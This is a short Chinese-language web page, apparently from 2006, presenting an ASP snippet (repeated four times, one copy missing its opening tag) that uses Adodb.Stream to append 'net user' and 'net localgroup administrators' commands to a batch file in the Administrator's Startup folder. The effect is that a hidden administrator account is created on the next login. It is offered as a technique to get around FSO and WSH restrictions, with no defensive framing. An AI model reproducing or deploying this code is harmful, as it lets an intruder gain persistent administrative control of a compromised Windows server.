跨越fso、wsh、 application寫文件
更新時間:2006年06月17日 00:00:00 作者:
<%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\cook.bat",2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\cook.bat",2
lcx.Close
set lcx=nothing
%>
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\cook.bat",2
lcx.Close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.CreateObject("Adodb.Stream")
lcx.Open
lcx.Type=2
lcx.CharSet="gb2312"
lcx.LoadFromFile "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\cook.bat"
lcx.Position=lcx.Size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.SaveToFile "C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動\cook.bat",2
lcx.Close
set lcx=nothing
%>
相關文章
兩個小函數(shù)讓你的ASP程序?qū)QL注入免疫!
兩個小函數(shù)讓你的ASP程序?qū)QL注入免疫!...2006-09-09網(wǎng)頁木馬代碼例子(里面的文件是漏洞掃描器,呵呵)
網(wǎng)頁木馬代碼例子(里面的文件是漏洞掃描器,呵呵)...2006-12-12